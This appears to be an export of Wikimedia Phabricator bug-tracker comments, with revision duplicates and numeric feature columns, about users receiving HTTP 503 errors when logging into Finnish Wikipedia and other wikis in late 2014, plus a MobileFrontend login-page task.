",,,1418125489,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,6.333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.666666666666667,0.0,0.6666666666666666,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,15.333333333333334,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,9.666666666666666,2.6666666666666665,2.3333333333333335,1.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.6666666666666667,0.0,1.6666666666666667,8.0,5.0,0.0,2.3333333333333335,0.0,1.6666666666666667,0.0,1.6666666666666667,0.0,0.0,2.0,0.3333333333333333,0.0,1.6666666666666667,3.928888888888889,0.7422222222222222,"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ URL | 1 ]], [[ URL | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. Also it is also tested that using Firefox ""private window tab"" doesn't help. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
``CODE`CODE`CODE``
"
337789,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
```

Example error  messsage 2 provided  by Paju, different browser, 20 minutes after the password change.
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
```
",,,1418055302,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,1.3333333333333333,1.0,6.333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.0,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,15.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,9.333333333333334,2.3333333333333335,2.3333333333333335,1.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,1.3333333333333333,8.0,4.666666666666667,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,3.943616287094548,0.7501035196687371,"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ URL | 1 ]], [[ URL | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
``CODE`CODE`CODE``
"
337773,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
```

Example error  messsage 2 provided  by Paju, different browser, password is changed 20 minutes before.
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
```
",,,1418055254,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,1.3333333333333333,1.0,6.333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.0,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,15.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,9.333333333333334,2.3333333333333335,2.3333333333333335,1.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,1.3333333333333333,8.0,4.666666666666667,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,3.943616287094548,0.7501035196687371,"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ URL | 1 ]], [[ URL | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
``CODE`CODE`CODE``
"
337762,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
```

Example error  messsage 2 provided  by Paju, different browser, browser is changed 20 minutes before.
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
```
",,,1418055224,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,1.3333333333333333,1.0,6.333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.0,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,15.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,9.333333333333334,2.3333333333333335,2.3333333333333335,1.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,1.3333333333333333,8.0,4.666666666666667,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,3.943616287094548,0.7501035196687371,"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ URL | 1 ]], [[ URL | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
``CODE`CODE`CODE``
"
337578,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
    Forwarded for: OMA-IP, 10.20.0.140, 10.20.0.140, 10.20.0.138
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
```

Example error  messsage 2 provided  by Paju, different browser, browser is changed 20 minutes before.
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
    Forwarded for: OMA-IP, 10.20.0.140, 10.20.0.140, 91.198.174.72
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
```
",,,1418054222,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,1.3333333333333333,1.0,6.333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.0,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,15.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,9.333333333333334,2.3333333333333335,2.3333333333333335,1.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,1.3333333333333333,8.0,4.666666666666667,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,3.943616287094548,0.7501035196687371,"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ URL | 1 ]], [[ URL | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
``CODE`CODE`CODE``
"
332681,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I don't know if that's the same problem, but on 19th of November one user on the Finnish Wikipedia [[ https://fi.wikipedia.org/w/index.php?title=Wikipedia:Kahvihuone_%28tekniikka%29&oldid=14463542#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | reported ]] that he couldn't log in by using Firefox. When he tried to login he was redirected to Wikimedia Foundation page.

He managed to log in by using another browser and he was able to log in to another Wikipedia by using Firefox. I told him to clean up his cache in Firefox. He told that he cleaned his cache and rebooted his computer but it didn't help. Then he updated some FF plugins, used CCleaner to clean up much more of things and then deleted all FF history and voilà, he was again able to log in on Firefox.",,,1416861788,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-32,True,2.0,0.0,0.0,0.5,1.5,3.0,1.0,0.0,0.0,0.5,3.0,1.5,0.0,0.0,0.0,1.0,0.0,5.0,15.5,0.0,3.5,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,9.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,12.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,10.0,15.5,6.5,0.0,0.0,0.0,10.0,0.0,0.5,0.0,0.5,1.5,0.5,0.0,0.5,3.6698757763975154,0.7050724637681159,"I don't know if that's the same problem, but on 19th of November one user on the Finnish Wikipedia [[ URL | reported ]] that he couldn't log in by using Firefox. When he tried to login he was redirected to Wikimedia Foundation page.

He managed to log in by using another browser and he was able to log in to another Wikipedia by using Firefox. I told him to clean up his cache in Firefox. He told that he cleaned his cache and rebooted his computer but it didn't help. Then he updated some FF plugins, used CCleaner to clean up much more of things and then deleted all FF history and voilà, he was again able to log in on Firefox."
332680,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I don't know if't that the same problem, but on 19th of November one user on the Finnish Wikipedia [[ https://fi.wikipedia.org/w/index.php?title=Wikipedia:Kahvihuone_%28tekniikka%29&oldid=14463542#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | reported ]] that he couldn't log in by using Firefox. When he tried to login he was redirected to Wikimedia Foundation page.

He managed to log in by using another browser and he was able to log in to another Wikipedia by using Firefox. I told him to clean up his cache in Firefox. He told that he cleaned his cache and rebooted his computer but it didn't help. Then he updated some FF plugins, used CCleaner to clean up much more of things and then deleted all FF history and voilà, he was again able to log in on Firefox.",,,1416861769,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-32,True,2.0,0.0,0.0,0.5,1.5,3.0,1.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,1.0,0.0,5.0,15.5,0.0,3.5,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.5,0.5,0.0,0.5,10.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,12.0,2.0,4.0,3.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,10.0,15.5,6.5,0.0,0.0,0.0,10.0,0.0,0.5,0.0,0.5,1.5,0.5,0.0,0.5,3.6956521739130435,0.7028985507246377,"I don't know if't that the same problem, but on 19th of November one user on the Finnish Wikipedia [[ URL | reported ]] that he couldn't log in by using Firefox. When he tried to login he was redirected to Wikimedia Foundation page.

He managed to log in by using another browser and he was able to log in to another Wikipedia by using Firefox. I told him to clean up his cache in Firefox. He told that he cleaned his cache and rebooted his computer but it didn't help. Then he updated some FF plugins, used CCleaner to clean up much more of things and then deleted all FF history and voilà, he was again able to log in on Firefox."
332583,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Another user has also reported such an error [[https://meta.wikimedia.org/wiki/Talk:Global_AbuseFilter#Can.E2.80.99t_log_in | here ]] while trying to log in at io.wiktionary.org

Is this still an issue?",,,1416848525,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,3.689655172413793,0.896551724137931,"Another user has also reported such an error [[URL | here ]] while trying to log in at io.wiktionary.org

Is this still an issue?"
332582,Certain users are unable to log into their account (HTTP 503 upon login attempt),"An io.wiktionary.org user has also reported such an error while trying to log in at [[https://meta.wikimedia.org/wiki/Talk:Global_AbuseFilter#Can.E2.80.99t_log_in | meta ]].

Is this still an issue?",,,1416848393,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,10.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,7.0,3.433333333333333,0.9,"An io.wiktionary.org user has also reported such an error while trying to log in at [[URL | meta ]].

Is this still an issue?"
332111,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Cannot reproduce with Firefox 33 on Fedora 20 - no problems logging in on https://gu.wikipedia.org . Cannot see anything suspicious on https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log either.

It is extremely weird if this really only happens on Firefox. 
Do you always get ""from 10.64.0.103 via cp1055 cp1055"" in that message?
Have you tried to bypass your browser cache (see https://en.wikipedia.org/wiki/WP:BYPASS )?",,,1416058174,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-33,True,0.0,1.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,6.0,3.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,6.0,16.0,4.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.8115942028985508,0.7536231884057971,"Cannot reproduce with Firefox 33 on Fedora 20 - no problems logging in on URL . Cannot see anything suspicious on URL either.

It is extremely weird if this really only happens on Firefox. 
Do you always get ""from 10.64.0.103 via cp1055 cp1055"" in that message?
Have you tried to bypass your browser cache (see URL )?"
74910,Getting rid of own login page (tracking),"It also happens for alpha mode (yay!), i want to have a bug for this for tracking purposes.

The login page of MobileFrontend actually is provided by it's own implementation to fit the needs of mobile devices. It isn't really needed anymore, the login page customisations should be done with special css rules or in core. Actually it's difficult to overwrite the loginpage for other extensions (like GoogleLogin), if MobileFrontend loads after this extension.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1415036040,1441316105.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_description,resolved,True,c3,1,True,True,True,-35,True,0.0,0.0,0.0,2.0,0.5,5.5,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,3.5,10.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,0.0,10.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.5,1.0,1.0,4.5,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,3.0,10.5,2.5,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.25,0.8148148148148148,"It also happens for alpha mode (yay!), i want to have a bug for this for tracking purposes.

The login page of MobileFrontend actually is provided by it's own implementation to fit the needs of mobile devices. It isn't really needed anymore, the login page customisations should be done with special css rules or in core. Actually it's difficult to overwrite the loginpage for other extensions (like GoogleLogin), if MobileFrontend loads after this extension.

--------------------------
**Version**: unspecified
**Severity**: normal"
520662,Getting rid of own login page (tracking),"Change 231146 merged by jenkins-bot:
Use core login form

